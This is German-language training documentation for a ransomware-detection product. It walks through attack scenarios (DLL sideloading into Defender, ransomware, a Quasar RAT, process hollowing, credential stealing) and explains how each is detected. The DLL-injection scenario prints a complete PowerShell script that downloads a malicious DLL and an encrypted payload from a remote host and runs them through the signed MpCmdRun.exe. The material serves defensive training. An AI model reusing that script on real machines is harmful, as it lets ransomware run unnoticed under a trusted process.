Cyber Crucible Schulungsinformationen

Szenarien

Szenarien

Trainingsszenario – DLL-Injektion

Gruppenname

Trainingsdaten - Dll Injection (Hive)

Szenario

In diesem Trainingsszenario führen wir eine verschlüsselte Ransomware-Payload mittels DLL-Injektion in einen signierten MS Defender aus. Es wurde eine benutzerdefinierte DLL erstellt, so wie sie ein Angreifer erstellen würde, die eine gefälschte .log-Datei entschlüsselt und ausführt.

Viele Sicherheitstools ignorieren schlicht Prozesse, die von einem signierten übergeordneten Prozess gestartet wurden, insbesondere von einem signierten Antivirus-Prozess, und noch mehr, wenn es sich um Defender handelt. Defender-Befehle sind nicht nur oft erlaubt, sondern auch häufig extrem privilegiert. Hier wird der Befehl für ein Signatur-Update bewaffnet - etwas, das nicht nur üblich ist, sondern auch bei jeglicher Art von Malware-Jagd ignoriert würde. Wir zeigen hier, dass ein Angreifer selbst mit einfachem „Living off the Land“-Handwerk privilegierte Payloads ausführen kann, indem er ein einfaches Skript ohne benutzerdefinierte Injektionswerkzeuge auf dem Rechner platziert.

Hier ist das genaue Skript, das auf dem Opferrechner ausgeführt wurde. Beachten Sie, dass nichts explizit Bösartiges geschieht - das Kopieren der Defender-EXE(s) in ein Staging-Verzeichnis dient lediglich dazu, die C:\staging-Dateien in der Ursachenanalyse hervorzuheben.

mkdir C:\staging
copy C:\Windows\WinSxS\amd64_windows-defender-service_31bf3856ad364e35_10.0.19041.746_none_a39f6d9ab59bd8b7\* C:\staging
move C:\staging\mpclient.dll C:\staging\realdll.dll; cd C:\staging
curl 169.254.247.102:8000/0x80004006.log -outfile 0x80004006.log; curl 169.254.247.102:8000/mpclient.dll -outfile mpclient.dll
./MpCmdRun.exe -SignatureUpdate

Aufgeschlüsselt Zeile für Zeile:

  1. Staging-Verzeichnis wird erstellt

  2. Defender wird in das Staging-Verzeichnis kopiert

  3. Die echte mpclient.dll wird umbenannt

  4. Verschlüsselte „Log“-Datei und bösartige DLL werden von einem Remote-Server heruntergeladen

  5. Der echte, signierte MpCmdRun wird mit der Signatur-Update-Aufgabe ausgeführt

MpCmdRun.exe
MpCmdRun.exe

Erkennung

Automated Response
Automated Response

Betrachtet man zunächst die automatisierte Reaktion, würden bei Ihnen sofort die Alarmglocken läuten. Ein Prozess, der nie zuvor gesehen wurde, mit einem zufälligen GUID-Namen, wurde ausgeführt und hat Cyber Crucible ausgelöst, dazu noch unsigniert. Beachten Sie jedoch, dass der Pfad hier leicht etwas weniger beängstigend aussehen könnte. Er wurde absichtlich als C:\staging belassen, um ihn hervorzuheben.

Der unmittelbar nächste Schritt wäre, diese Datei zu finden und herauszufinden, wie sie dorthin gelangt ist. Wahrscheinlich wurde sie automatisch gelöscht, aber wir können uns die Prozesserstellungen von Cyber Crucible ansehen, um zu sehen, wer sie ursprünglich ausgeführt hat.

Powershell → MpCmdRun → {7374F…}
Powershell → MpCmdRun → {7374F…}

Genau wie im obigen Szenario beschrieben, startete ein PowerShell-Skript eine Defender-ausführbare Datei, die wiederum unseren beängstigenden Prozess startete. Die Malware-Payload löste anschließend zahlreiche untergeordnete Prozesse aus, um verschiedene Staging-Aufgaben durchzuführen. Die Einsicht in diese Hintergrundprozesse liefert oft Erkenntnisse über auf dem System erstellte Dateien, geänderte Registrierungsschlüssel, Wurmaktivitäten usw.

Otherwise „invisible behavior“
Otherwise „invisible behavior“

Zu diesem Zeitpunkt wurde der Angriff bereits von Cyber Crucible eingedämmt, aber die Analyse der zugehörigen Prozesse ist wichtig, um den Umfang der bösartigen Aktivitäten zu ermitteln. Die Ausführung der unsignierten EXE allein wirkt offensichtlich, wenn sie von Cyber Crucible dargestellt wird, aber häufig würden Hintergrundprozesse, die von etwas so privilegiertem und geschütztem wie Defender gestartet werden, schlicht ignoriert.

Relevante Dokumentation

Szenarien

Trainingsszenario - Vanilla Ransomware

Gruppenname

Trainingsdaten - Vanilla Ransomware (Hive)

Szenario

In diesem Trainingsszenario führen wir eine „vanilla“ Ransomware-Payload aus, die als Administrator läuft, ohne jegliche Exploits. Dies simuliert das grundlegende Beispiel eines Benutzers, der Malware über einen Phishing-Link, einen bösartigen USB-Stick usw. herunterlädt.

Auch wenn es sich hierbei um eine sehr einfache Ausführungsmethode handelt, bleibt sie – falls die Payload ein Zero-Day ist – dennoch von signaturbasierten Sicherheitsprodukten unbemerkt und kann irreparablen Schaden anrichten, bevor cloudbasierte Verhaltensanalyseprodukte eine Analyse zurückliefern können.

Erkennung

Automated Response
Automated Response

Die Identifizierung dieses Vorfalls ist die einfachste unter allen Beispielen. Sobald der verdächtige Dateiname einer Datei ohne Signatur bemerkt wurde, ist dies ein unmittelbares Warnsignal.

Um die Ausführungsmethode zu bestätigen, können wir die Prozesserstellungen um den Zeitpunkt des Vorfalls betrachten. Was wir sehen, bestätigt, dass es keine komplexe Exploit-Methode gab, nicht einmal ein Skript! Wie auch bei anderen Beispielen sind jedoch die untergeordneten Prozesserstellungen von Interesse. Obwohl die Ausführungsmethode der Malware selbst offensichtlich war, werden viele Hintergrundprozesse gestartet, die Schutzmaßnahmen und andere Systemeinstellungen deaktivieren.

An diesem Punkt wurde der Angriff bereits von Cyber Crucible eingedämmt, aber die Analyse der zugehörigen Prozesse ist wichtig, um das Ausmaß der bösartigen Verhaltensweisen zu ermitteln. Die Ausführung der unsignierten .exe-Datei allein erscheint offensichtlich, wenn sie von Cyber Crucible aufgezeigt wird, aber oft würden Hintergrundprozesse, die von etwas so Privilegiertem und Geschütztem wie Defender gestartet werden, einfach ignoriert werden.

Relevante Dokumentation

Szenarien

Trainingsszenario - Signierte Ransomware

Gruppenname

Trainingsdaten - Signierte Ransomware (Hive)

Szenario

In diesem Trainingsszenario führen wir eine Ransomware-Payload aus, die als Administrator läuft und eine benutzerdefinierte Signatur verwendet. Dieses Szenario unterscheidet sich nicht sonderlich vom „Standard“-Beispiel, verwendet jedoch eine signierte ausführbare Datei.

Oft werden signierte ausführbare Dateien so behandelt, als sei bestätigt, dass sie harmlos sind. Zwar sollte zertifizierte Software eigentlich immer signiert sein, doch handelt es sich dabei nicht um eine bidirektionale Beziehung, und wir sollten Dingen nicht allein deshalb vertrauen, weil sie signiert sind. Leider unterläuft dieser Fehler manchmal doch.

Erkennung

Abgesehen davon, dass dieser Zertifikatsname für Trainingszwecke etwas seltsam ist, wie erkennt Cyber Crucible, dass er nicht vertrauenswürdig ist? Cyber Crucible geht auf Nummer sicher und führt eine (gruppenspezifische) Liste vertrauenswürdiger Zertifikate. Dadurch können wir sowohl Test-Signaturzertifikate als auch offizielle Zertifikate großer Zertifizierungsstellen wie DigiCert problemlos erkennen.

Wie oben zu sehen ist, ist die Datei „321d0…“ zwar signiert, aber dennoch nicht vertrauenswürdig. Da keine weiteren komplexen Verschleierungstechniken zur Verbreitung des Angriffs verwendet wurden, wissen wir genau, woher er stammt!

Um die Ausführungsmethode zu bestätigen, können wir uns die Prozesserstellungen im Zeitraum des Vorfalls ansehen. Was wir sehen, bestätigt, dass es keine komplexe Exploit-Methode gab, nicht einmal ein Skript! Wie bei anderen Beispielen sind jedoch die Erstellungen von Kindprozessen interessant. Obwohl die Ausführungsmethode der Schadsoftware selbst offensichtlich war, werden viele Hintergrundprozesse gestartet, die Schutzmaßnahmen und andere Systemeinstellungen deaktivieren.

An diesem Punkt wurde der Angriff bereits von Cyber Crucible eingedämmt, doch die Analyse der zugehörigen Prozesse ist wichtig, um den Umfang der bösartigen Verhaltensweisen zu ermitteln. Die Ausführung der unsignierten EXE-Datei allein wirkt offensichtlich, wenn sie von Cyber Crucible dargestellt wird, aber oft würden Hintergrundprozesse, die von etwas so privilegiertem und geschütztem wie Defender gestartet werden, einfach ignoriert werden.

Relevante Dokumentation

Szenarien

Trainingsszenario – Datenenumeration

Gruppenname

Trainingsdaten - RAT-Exfiltration (Quasar)

Szenario

In diesem Trainingsszenario führen wir einen RAT auf der Opfermaschine aus und nutzen ihn, um die Daten auf der Festplatte zu enumerieren, mit dem Ziel, Dateien zu exfiltrieren.

Auch wenn es sich hierbei nicht um einen Ransomware-Angriff handelt, fallen die vom RAT verwendeten Verhaltensweisen unter die Kategorie der Datenerpressungsverhalten, die Cyber Crucible erkennt. Die Reaktion auf den Vorfall und die zugehörigen Daten sehen der Reaktion auf eine Ransomware-Payload sehr ähnlich, denn für Cyber Crucible ist das alles dasselbe!

Erkennung

Diese ausführbare Datei sieht etwas eigenartig aus, befindet sich aber in system32 und löst wiederholte Reaktionen aus. Es sind weitere Untersuchungen erforderlich, um herauszufinden, was hier passiert ist. Wir können damit beginnen, nach untergeordneten Pfaden zu suchen, die mit dem Reaktionspfad in Zusammenhang stehen.

Hier erhalten wir weitere Hinweise zur Geschichte. Ein Benutzer hat client-build.exe vom Desktop aus ausgeführt, bei dem es sich um den RAT-Dropper handelt. Anschließend scheint eine Privilegienerweiterung über einen svchost stattzufinden. Es fehlen jedoch noch einige Teile des Puzzles. Woher wissen wir, dass es sich um einen RAT handelt und nicht nur um etwas, das mit svchost interagiert?

Dies eröffnet eine ganze Menge mehr an Transparenz! Wir wissen nun nicht nur mit Sicherheit, dass verdächtige Aktivitäten im Gange sind und welche Pfade damit zusammenhängen, sondern auch, dass Persistenz erzeugt wird. Und wir sehen sogar, dass wir es mit Quasar zu tun haben, einem bekannten RAT.

Quasar ist ein hochentwickelter RAT und führt die meisten seiner Verhaltensweisen innerhalb seiner eigenen ausführbaren Datei aus, wobei er für viele Zwecke lieber seine eigenen statisch kompilierten Bibliotheken mitbringt, anstatt die Standardwerkzeuge von Windows zu verwenden. Aber selbst Quasar wird erwischt, wenn er Dinge wie schtasks verwendet.

Relevante Dokumentation

Szenarien

Trainingsszenario - Prozessinjektion

Gruppenname

Trainingsdaten - Prozessinjektion (Hive)

Szenario

In diesem Trainingsszenario führen wir eine Ransomware-Payload mittels Prozessinjektion in einen bereits laufenden Svchost.exe-Prozess aus. Der betreffende Svchost ist ein normaler Systemvorgang, läuft seit längerem, ist signiert und wird unter dem LocalSystem-Benutzerkonto ausgeführt.

Da der Svchost „echt“ ist, wird er oft übersehen. Administratoren wissen, dass viele Instanzen von Svchost ausgeführt werden, und solange die Argumente des Programms korrekt aussehen, wird er als „Black Box“ behandelt und in Ruhe gelassen. Dies ist eine offensichtliche und häufig ausgenutzte Schwachstelle, die Hacker sich zunutze machen. In Kombination mit einer Zero-Day-Payload ist dieser Ansatz sehr erfolgreich darin, Ransomware-Angriffe zu verschleiern.

Erkennung

svchost.exe’s Cert Signer(s)
svchost.exe’s Zertifikatssignierer

Die Situation rund um diese automatisierte Reaktion ist auf den ersten Blick nicht direkt erkennbar. Die Kommandozeilenargumente sehen für Svchost gültig aus, und die ausführbare Datei ist von Microsoft signiert.

Die Tatsache, dass ein nicht vertrauenswürdiger Remote-Thread vorliegt, ist verdächtig, erfordert jedoch weitere Untersuchung. Viele Remote-Threads treten auf einem System auf, aber die meisten davon bleiben „vertrauenswürdig“, da sie für normale Interprozesskommunikation, Datenaustausch usw. verwendet werden.

Wenn ein Remote-Thread auf ungewöhnliche Weise in einen Prozess erstellt und als nicht vertrauenswürdig markiert wird, ist genauere Prüfung erforderlich.

Innocent Process Injections that occur normally
Harmlose Prozessinjektionen, die normalerweise auftreten

Um die vielen Prozessinjektionen zu sortieren, die zu einem bestimmten Zeitpunkt auf einem System auftreten, können wir uns sowohl auf den Zeitpunkt des Vorfalls als auch auf die PID des markierten Prozesses beziehen. Normalerweise beginnen wir mit einigen PIDs verdächtiger Reaktionen und arbeiten uns die Kette der Injektionen und Erstellungen hinauf, um die vollständige Geschichte zu erfassen.

Filtering out irrelevant injections
Herausfiltern irrelevanter Injektionen
The smoking gun!
Der eindeutige Beweis!

Wir wissen bereits, dass niemand auf diese Weise in Svchost injizieren sollte, aber ganz sicher nicht dieser Prozess! Von hier an können wir diesen Prozess so behandeln, als wäre es „malware.exe“, und herausfinden, wer ihn ausgeführt hat, da es jemand gewesen sein muss.

Processes started with pid 9168
Prozesse, die mit PID 9168 gestartet wurden

Da es zwei Prozesserstellungen mit PID 9168 gab und diese sehr unterschiedlich sind, können wir dies anhand des Zeitstempels und/oder des untergeordneten Pfads eingrenzen und feststellen, dass er von einem explorer.exe erstellt wurde. Das bedeutet, dass jemand den Injektorprozess manuell ausgeführt hat, und es kann kein Zufall eines fälschlicherweise markierten Svchost-Verhaltens sein.

Relevante Dokumentation

Szenarien

Trainingsszenario - Speichermodifikation

Gruppenname

Trainingsdaten - Process Hollowing SQL (Hive)

Szenario

In diesem Trainingsszenario führen wir eine Ransomware-Payload mittels Process Hollowing aus, einer Injektions-/Umgehungstechnik, bei der ein Prozess gestartet und dessen ausführbarer Code so modifiziert wird, dass er ein anderes Verhalten ausführt.

In-Memory-Tradecraft gehört zu den am schwersten zu erkennenden Techniken, und noch schwerer ist es, eine automatisierte Reaktion darauf zu haben, weshalb sie oft ignoriert wird. Speicher ist per Definition flüchtig und ändert sich ständig. Um Änderungen im Speicher eines Prozesses zu identifizieren, müssen relevante Bereiche erkannt und zu unterschiedlichen Zeitpunkten im Lebenszyklus eines Prozesses ausgewertet werden, um festzustellen, ob er manipuliert wurde.

Erkennung

Reaktionen auf Speichermodifikationen sind bei Weitem am schwierigsten zu untersuchen. Da Speicher vergänglich ist, wird er wie eine „Black Box“ behandelt und oft auf Abstand gehalten. Die gute Nachricht ist, dass wir seit Cyber Crucible 4.4.1.3 nun die Möglichkeit haben, automatisch Telemetriedaten für modifizierte Speicherproben zu erfassen und dabei zu identifizieren, welche Speicherbereiche verändert wurden und welche genauen Änderungen daran vorgenommen wurden.

Diese Art der Analyse ist jedoch sehr aufwendig, daher ist ein guter erster Schritt, die zugehörigen Prozesse im Dashboard zu überprüfen, um sich einen Eindruck vom zugehörigen Verhalten zu verschaffen. Da es sich bei dem betreffenden Prozess um eine signierte SQLCMD.exe handelt, sollte schnell klar werden, ob es sich um einen harmlosen SQL-Prozess oder etwas Schlimmeres handelt.

Bisher sieht alles gut aus, nur normale SQL-Prozesse, nichts, das notwendigerweise verdächtig oder unverdächtig ist. Allerdings sehen wir es nie gern, wenn CMDs an automatisierten Reaktionen beteiligt sind. Graben wir etwas tiefer.

The smoking gun!
Der eindeutige Beweis!

Und da ist er! Wir können weiter scrollen und immer mehr solcher Verhaltensweisen sehen. Die SQLCMD.exe führt alle möglichen Befehle aus, um Dienste zu deaktivieren, Konfigurationen zu ändern, und alles, was Ransomware präventiv tun würde.

Hier können wir eine kleine Vorstellung davon bekommen, was uns erwartet, wenn wir tiefer graben und die Speicher-Diffs analysieren. Die meiste Tradecraft, die ausgereift genug ist, um vollständig speicherbasierte Malware zu erstellen, wird auch ihren Code im Speicher verschleiern. Dies macht die Analyse extrem schwierig, aber der Zugriff auf die zusätzlichen Telemetriedaten hat sich bereits als unschätzbar wertvoll für die Vorfallserkennung sowie die Verhaltensfeinabstimmung erwiesen.

Relevante Dokumentation

Szenarien

Trainingsszenario – Identitätsdiebstahl

Gruppenname

Trainingsdaten - Identitätsdiebstahl (Redline)

Szenario

In diesem Trainingsszenario führen wir ein Stück „Stealer“-Malware aus, um die erste Phase eines Angriffs, den Diebstahl von Zugangsdaten, durchzuführen. Im Gegensatz zum RAT-Szenario verwendet dieses nicht dieselben Verhaltensweisen wie Ransomware. Stattdessen ist dies Teil der wachsenden Identitätsschutzfähigkeiten von Cyber Crucible.

Oft, noch bevor es überhaupt zu einer Erpressung kommt, bestehen die ersten Schritte eines Angreifers darin, sich wurmartig durch das Netzwerk zu bewegen und Zugriff auf möglichst viele Zugangsdaten zu erlangen. In manchen Fällen handelt es sich dabei um eine AD-Benutzername/Passwort-Kombination, in anderen Fällen um API-Schlüssel, die aus Browsersitzungen entwendet werden.

Erkennung

Schauen wir uns nun genauer an, wie abnormaler Zugriff für den Administrator aussieht.

Zugriffe auf Identitätsdaten sind sehr eindeutig: Wenn die Administratoren ein Programm nicht kennen, sollte es keinen Zugriff auf diese Daten haben! Dies fällt sofort als etwas Verdächtiges auf.

Wie sieht die Kehrseite davon aus der Sicht des Angreifers aus? Klartext!

Diese Reaktionen sind keine Reaktionen wie bei traditionellen Datenerpressungsereignissen, daher handelt es sich nicht um Maßnahmen einer automatisierten Suspendierung. Stattdessen ähneln sie eher Prozessinjektionen, bei denen Cyber Crucible nicht im Weg stand. Da unsere Analysen stetig weiterentwickelt wurden, haben wir gelernt, wie „normaler“ Zugriff auf Identitätsspeicher für verschiedene Arten von Anwendungen aussieht. Bis 2023 werden wir unsere Schutzfunktion aktivieren, die den Zugriff auf verschiedene Formen von Identitätsdatenbanken auf Kernel-Ebene einschränkt und nur der zugehörigen Software den Zugriff darauf erlaubt.

Relevante Dokumentation

Speichermodifikation


Was ist Speichermodifikation?

Speichermodifikation ist, wie Cyber Crucible den Begriff verwendet, der Zustand, wenn die ausführbaren Speicherbereiche eines Prozesses auf ungewöhnliche Weise verändert wurden. Die normale Ausführung eines gegebenen Prozesses, ohne äußere Manipulation, löst diese Modifikationen nicht aus – sie unterscheiden sich von normalen „flüchtigen Speicher“-Vorgängen innerhalb eines Prozesses.

Eine gängige Technik der Speichermodifikation ist Process Hollowing, bei der ein Angreifer einen Opferprozess auf dem Rechner startet, häufig zunächst in einem angehaltenen Zustand, und den ausführbaren Code so verändert, dass tatsächlich der Code eines anderen Programms ausgeführt wird.

Relevante MITRE-Taktiken:

  • MITRE T1055 - Process Injection, in der Regel verwendet, um schädlichen Code in einem Zielprozess auszuführen, während der ursprüngliche Prozess weiterläuft.

  • MITRE T1055-12 - Process Injection durch Ersetzen von Code in einem Prozess, typischerweise bevor dieser mit der Ausführung beginnt.

  • MITRE T1559 - Inter-Prozess-Kommunikation kann dem Injektor nach Abschluss der Injektion Kontrolle über den Zielprozess verschaffen.

  • MITRE T1548 - Der Missbrauch von Rechteausweitungskontrollen kann es einem Prozess ermöglichen, der normalerweise keine höheren Rechte hätte, eskaliert zu werden, um Zugriff auf geschützte Daten zu erhalten.

Welche Folgen hat das?

Speichermodifikationen können sehr ähnliche Folgen wie andere Process-Injection-Techniken haben, sind jedoch noch schwerer zu erkennen. Da es keine Erstellung von Remote-Threads oder Aufrufe externer Funktionen gibt, kann es oft sehr schwierig sein, Speichermodifikationen überhaupt zu erkennen, und noch schwieriger, sie einem bestimmten Prozess zuzuordnen.

Ein Prozess mit modifiziertem Speicher kann dazu gezwungen werden, bösartige Aktivitäten auszuführen, die er sonst nicht ausführen würde. Kein Prozess mit manipuliertem ausführbarem Speicher sollte als vertrauenswürdig eingestuft werden, da dies kein normales Vorkommnis bei Inter-Prozess-Kommunikation oder -Interaktionen ist.

Was unternimmt Cyber Crucible?

Cyber Crucible überwacht den Zustand des Speichers eines Prozesses während seines gesamten Lebenszyklus. Wird der Speicher als manipuliert eingestuft, wird der Prozess markiert und als nicht vertrauenswürdig betrachtet. Zum Zeitpunkt eines Erpressungsereignisses wird der Speicher als Snapshot erfasst, um ihn für mögliche IR-Untersuchungen bereitzustellen.

Der erfasste Speicher-Snapshot enthält den ursprünglichen, unveränderten ausführbaren Speicher sowie etwaige „Diffs“ mit ihren Offsets innerhalb des Prozessspeichers. Die Analyse dieser Speicherabbilder kann anspruchsvoll sein, liefert jedoch häufig starke Hinweise auf das Verhalten des bösartigen Codes.

Woran erkenne ich das?

Cyber Crucible Indicates Responses with Modified Memory
Cyber Crucible zeigt Reaktionen bei modifiziertem Speicher an

Modifizierter Speicher ist im Vergleich zu anderen Methoden der Process Injection schwerer und flüchtiger aufzuspüren. Stattdessen bieten wir einen schnellen booleschen Wert, um zu erkennen, dass eine Modifikation stattgefunden hat; die eigentliche Analyse der Speicher-Diffs erfordert dann eine tiefergehende Untersuchung.

Some raw memory
Roher Speicherinhalt
Disassembled memory
Disassemblierter Speicherinhalt

Die Erfassung des Speichers ist nur der erste Schritt; selbst nach der Disassemblierung kann der Code stark verschleiert und schwer lesbar sein. Die gute Nachricht ist, dass uns für diese Analyse viele Informationen zur Verfügung stehen, wenn wir über den ursprünglichen Speicher, die zugehörigen Metadaten, die Original-Ausführungsdatei und die modifizierten ausführbaren Anweisungen selbst verfügen.

1. ja, 2.

Beispielszenarien:

Abgedeckte Mitre-Techniken

Mitre-Techniken

Zusammenfassung

Trainingsszenarien

T1037

Malware kann Windows anweisen, bösartige Skripte beim Start oder bei der Anmeldung eines Benutzers auszuführen.

T1055

Prozessinjektion, üblicherweise verwendet, um bösartigen Code in einem Zielprozess auszuführen, während der ursprüngliche Prozess weiterlaufen kann.

Trainingsszenario - Prozessinjektion

T1055-001

DLL-Injektion kann verwendet werden, um bösartigen Code in einen Prozess zu laden, indem der Zielprozess einfach angewiesen wird, eine neue DLL zu laden, oder indem eine legitime DLL vor dem Laden ersetzt wird.

Trainingsszenario - DLL-Injektion

T1055-005

Prozessinjektion durch Modifikation des Thread Local Storage, wodurch die Anwendung dazu gebracht wird, während der Thread-Verwaltung bösartigen Code auszuführen.

T1055-012

Prozessinjektion durch Ersetzen von Code in einem Prozess, typischerweise bevor dieser mit der Ausführung beginnt.

Trainingsszenario - Speichermodifikation

T1055-013

Prozessinjektion durch Ausführung einer bösartigen ausführbaren Datei, während das Betriebssystem und Sicherheitsprodukte dazu gebracht werden, eine ältere Version der ausführbaren Datei zu scannen.

T1059-001

PowerShell wird von Windows-Malware häufig verwendet, um die Malware-Einrichtung durchzuführen, z. B. das Ersetzen legitimer Dateien durch bösartige.

T1068

Die Durchführung einer Rechteausweitung über Softwareschwachstellen kann es bösartigem Code ermöglichen, Berechtigungseinschränkungen oder virtualisierte Umgebungen zu umgehen.

T1091

Malware kann sich selbst auf Wechseldatenträger kopieren, sodass sie beim Anschließen an den nächsten Rechner über Autorun oder Treiberschwachstellen ausgeführt werden kann.

T1106

Native APIs bieten oft den direktesten Zugriff auf Betriebssystemfunktionen zum Zugriff auf Dateien, zum Ausführen von Prozessen und mehr.

T1204

Die Ausführung durch den Benutzer, häufig durch Phishing erreicht, ist der einfachste Weg, wie Malware zu laufen beginnen kann.

Trainingsszenario - Vanilla-Ransomware

T1212

Anmeldedaten könnten gestohlen werden, indem eine verwundbare Software ausgenutzt wird, die vom Benutzer eingegebene Anmeldedaten nicht verschlüsselt.

Trainingsszenario - Identitätsdiebstahl

Trainingsszenario - Datenenumeration

T1543

Das Erstellen oder Modifizieren eines Systemprozesses kann bösartigen Code als normalen, vertrauenswürdigen Systemprozess vor der Malware-Erkennung tarnen.

Trainingsszenario - Prozessinjektion

Trainingsszenario - Speichermodifikation

T1547

Malware kann Windows anweisen, bösartige Programme beim Start oder bei der Anmeldung eines Benutzers auszuführen.

T1548

Der Missbrauch der Rechteerhöhung kann dazu führen, dass ein Prozess, der normalerweise keine höheren Berechtigungen hätte, erweitert wird, um Zugriff auf geschützte Daten zu erlangen.

T1555

Gespeicherte Anmeldedaten aus unverschlüsselten Managern oder Browsern können verwendet werden, um Zugriff auf privilegierte Daten zu erlangen.

Trainingsszenario - Identitätsdiebstahl

T1559

Interprozesskommunikation kann dem Injektor die Kontrolle über den Zielprozess ermöglichen, sobald die Injektion abgeschlossen ist.

Trainingsszenario - Prozessinjektion
Trainingsszenario - DLL-Injektion
Trainingsszenario - Speichermodifikation

T1566

Phishing kann verwendet werden, um einen Benutzer dazu zu bringen, eine Handlung auszuführen, die er sonst nicht getan hätte, wie z. B. das Ausführen eines Skripts oder das Teilen eines Passworts.

Trainingsszenario - Vanilla-Ransomware

T1569

Die Injektion in einen Systemdienst wie einen bestehenden svchost kann bösartigen Code so tarnen, dass er als von einem bekannten und vertrauenswürdigen Prozess ausgehend gemeldet wird.

Trainingsszenario - Prozessinjektion

T1574-002

Bösartige DLLs können gezwungen werden, in einen ansonsten legitimen Prozess geladen zu werden.

Trainingsszenario - DLL-Injektion

T1574-007

Ausführbare Ressourcen wie DLLs können durch Missbrauch der Umgebungsvariable PATH auf bösartige Ersatzdateien umgeleitet werden.

Trainingsszenario - DLL-Injektion

T1587-002

Code-Signaturzertifikate sind eine Möglichkeit für eine Autorität, den Code einer Anwendung zu zertifizieren. Malware kann ein Zertifikat erzeugen, das von keiner Zertifizierungsstelle stammt, aber einen Benutzer glauben machen kann, es sei legitim.

Trainingsszenario - Signierte Ransomware

T1587-003

SSL-Zertifikate werden verwendet, um sicherzustellen, dass die Datenübertragung vertrauenswürdig ist. In einer schlecht konfigurierten Umgebung kann Malware in der Lage sein, ihr eigenes SSL-Zertifikat zu installieren, um Man-in-the-Middle-Angriffe zu ermöglichen.

Trainingsszenario - Signierte Ransomware

Prozessinjektion

Was sind Prozessinjektionen?

Prozessinjektionen liegen vor, wenn ein (möglicherweise bösartiger) Prozess A einen Prozess B dazu zwingt, Anweisungen auszuführen, die andernfalls nicht Teil seines Codes wären. Für Prozessinjektionen gibt es viele verschiedene Techniken, wobei die gängigste darin besteht, einen Remote-Thread innerhalb des Zielprozesses zu erstellen.

Häufig werden diese neuen Anweisungen parallel zum ursprünglichen Programm erstellt, sodass der normale Betrieb des Zielprozesses B nicht beeinträchtigt wird. Aus diesem Grund bleibt die Injektion oft unbemerkt.

Relevante Mitre-Taktiken:

Welche Folgen hat das?

Nicht vertrauenswürdige Prozessinjektionen in einen ansonsten vertrauenswürdigen Prozess bedeuten, dass dieser nicht mehr vertrauenswürdig ist. Eine ansonsten unbeschädigte Installation gesicherter Software, wie beispielsweise ein SQL-Server, kann dazu gezwungen werden, Malware-Payloads auszuführen. Nach dem Beenden des Prozesses und/oder einem Neustart des Systems ist jeder Beweis für diese Manipulation verschwunden, da alles rein im Arbeitsspeicher mittels dynamischer Thread-Erstellung ausgeführt wurde.

Was tut Cyber Crucible?

Cyber Crucible überwacht Prozessinjektionen, die auf dem System auftreten, und stoppt die Aktivität nicht, es sei denn, es haben Datenexfiltrationsaktivitäten oder eine Ransomware-Verschlüsselung begonnen. Dies liegt daran, dass einige Prozesse auf dem System über verschiedene Prozessinjektionstechniken kommunizieren, ohne dabei bösartiges Verhalten auszuführen.

Stattdessen verfolgt Cyber Crucible die Injektionen, die zu und von jedem Prozess auf dem System stattfinden, und zeichnet sie für eine spätere mögliche Ursachenanalyse auf. Auf diese Weise können wir nicht nur erkennen, dass ein bestimmter Prozess derzeit im Arbeitsspeicher nicht vertrauenswürdig ist, sondern auch, welcher Prozess die Kette bösartiger Aktivitäten ausgelöst hat.

Wie erkenne ich das?

31784977.png?width=510

Wenn bei einer automatisierten Reaktion das Feld „untrusted remote threads“ den Wert „true“ hat, wissen wir, dass es sich um Prozessinjektionen handelt. Die gute Nachricht ist, dass wir die PID der Reaktion abrufen und die Prozessinjektionen rund um den Zeitpunkt des Vorfalls durchsuchen können, um den Verursacher zu finden.

embedded-image-liupbpcx.png

Beispielszenarien:

Verwaltung von Schulungslizenzen

Wie man Schulungslizenzen erwirbt

Benutzer können zur Seite „Schulungslizenzen“ navigieren, indem sie in der Seitenleiste unter „Administration“ auf die Registerkarte „Schulungslizenzen“ klicken.

86867969.png?width=566

Auf der Seite „Schulungslizenzen“ wird das Warenkorb-Symbol verwendet, um Schulungslizenzen zu erwerben. Durch Klicken auf dieses Symbol öffnet sich ein Modal, in dem Sie die Gruppe auswählen können, für die Sie Schulungslizenzen erwerben, sowie die Anzahl der zu erwerbenden Lizenzen. Sie können entweder auf „Jetzt bezahlen“ klicken, wodurch Sie zu einem Stripe-Checkout-Formular weitergeleitet werden, oder eine Rechnung senden.

86900737.png?width=45386933505.png?width=340

Wie man Schulungslizenzen Benutzern zuweist

Benutzer können Schulungslizenzen zuweisen, indem sie auf die Schaltfläche „Benutzer zuweisen“ bei einer freien Lizenz in der Spalte „Benutzer“ klicken. Durch Klicken auf diese Schaltfläche öffnet sich ein Modal, in dem Sie den Benutzer auswählen können, dem die Lizenz zugewiesen werden soll.

embedded-image-rgfyoha0.png86999049.png?width=453

Wie man Schulungslizenzen von Benutzern freigibt

Benutzer können Schulungslizenzen freigeben, indem sie die gewünschten Lizenzen im Raster auswählen und auf das Papierkorb-Symbol klicken. Sie können mehrere Lizenzen gleichzeitig freigeben, indem Sie mehrere Zeilen im Raster auswählen, bevor Sie auf das Papierkorb-Symbol klicken.

86867977.png?width=680

Wie man den Schulungsmodus ein-/ausschaltet

Benutzer können den Schulungsmodus ein- oder ausschalten, indem sie in der Seitenleiste unter der Registerkarte „Administration“ zur Seite „Kontoeinstellungen“ navigieren. Klicken Sie dann auf den Umschalter, um den Schulungsmodus ein- oder auszuschalten.

86802439.png?width=340

Wie setze ich meine Schulungsdaten zurück

Benutzer können ihre Schulungsdaten zurücksetzen, indem sie in der Seitenleiste unter der Registerkarte „Administration“ zur Seite „Kontoeinstellungen“ navigieren und auf die Schaltfläche „Schulungsdaten zurücksetzen“ klicken. Durch Klicken auf die Schaltfläche öffnet sich ein Modal, in dem Sie die Gruppe auswählen können, für die die Schulungsdaten zurückgesetzt werden sollen. Die Daten in jeder mit der ausgewählten Gruppe verknüpften Schulungsgruppe werden auf ihren ursprünglichen Zustand zurückgesetzt.

87097346.png?width=34087162881.png?width=453